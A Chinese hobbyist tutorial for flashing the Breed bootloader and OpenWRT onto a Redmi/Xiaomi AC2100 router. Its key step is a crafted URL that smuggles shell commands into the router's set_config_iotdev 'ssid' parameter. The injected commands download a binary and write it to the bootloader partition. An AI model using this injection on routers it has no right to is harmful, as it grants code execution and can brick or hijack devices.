保姆级-红米(小米)AC2100之Breed不死后台刷写OpenWRT官方版&第三方改良版!

红米AC2100和小米2100固件通用;
刷机有风险!!!后果自负!!


准备

1.红米(小米)AC2100路由器(需联网)
2.有网口的电脑一台
3.基础的电脑操作

Breed配置

第一步:环境准备

进入小米路由器原始的管理页,miwifi.com 或者 192.168.31.1
登录后台之后,检查固件版本
如果过高就要降级回2.0.7

第二步:降级

这里必须降级,我们降到到2.0.7
降级包地址链接
提取码:tg3p


然后等几分钟
连接上降级后的wifi后重新进入后台192.168.31.1
自行设置向导,这里忽略
然后检查一下系统版本是否降级成功

第三步:写入breed

此时注意浏览器地址栏的地址

红框内的stok为路由器的唯一标识,仅当前,每次重启或打开都会变。
把=号后的唯一id复制出来

替换下面链接中的sotk后的XXXXXXX,然后在浏览器地址栏中执行

http://192.168.31.1/cgi-bin/luci/;stok=XXXXXXX/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.hackpascal.net%2Fr1338%2520%255b2021-12-16%255d%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%20-g%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%202e0c6b4ffe8e4a74b7dc9c1f732dab03158dfe4c5f0b30425d9326836b5cec70)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A


跳转页面会显示返回 {code:0}。
路由器开始下载 Breed 进行刷写(路由器需联网),大约需要1~3分钟进行重启。(等待路由器指示灯由蓝色变为橘黄色,然后再次变为蓝色进入系统,此时Breed已经刷入完毕)。
如果没重启,可能是stok过期了。进入后台复制新的stok即可。也有可能下载的BREED损坏,从新运行代码。也有可能没网络,确保路由器正常连接上互联网,路由器需要在联网状态下下载Breed进行刷写。

手动下载更新Breed:
打开 https://breed.hackpascal.net/ 搜索xiaomi,找到 breed-mt7621-xiaomi-r3g.bin 并下载。
打开 https://crypot.51strive.com/sha256_checksum.html 将刚才下载的文件添加进去,生成生成HASH值。

进入BREED

成功后拔掉电源,和网线(不一定,具体看下面),按住reset同时接上电源等待5~10秒(路由器system指示灯闪烁)即可
注意:到这里,路由器是需要接光猫,有网络的,因为要下载breed。
接下来需要一根网线将路由器lan口与电脑连接
回到电脑进入breed web后台,新的后台地址是192.168.1.1
这里因为breed的地址和我网关的地址重复,所以刷上breed后我选择拔掉连接光猫的网线,不然进不了breed。

进breed的环境变量编缉菜单,新增字段xiaomi.r3g.bootfw值为2
然后点保存。


刷入OpenWRT

第一步:刷入原生OpenWRT固件

接下来开始刷写原生红米AC2100-OpenWRT固件

上传后点击更新

写完等待路由器重启就进入Openwrt了
如果没有自动进入的,打开浏览器进入OpenWRT的后台,输入 openwrt.lan 或 192.168.1.1

第二步:刷入特别版固件

接下来进入 http://192.168.1.1/cgi-bin/luci/admin/system/flash
(对应的菜单是System -> Backup / Flash Firmware),点击 Flash image… 上传我们想刷的固件




这里不要勾选 Keep settings and retain the current configuration,最后点Continue,等几分钟让路由器自己重启。
再进路由器后台就是192.168.10.1了
完成了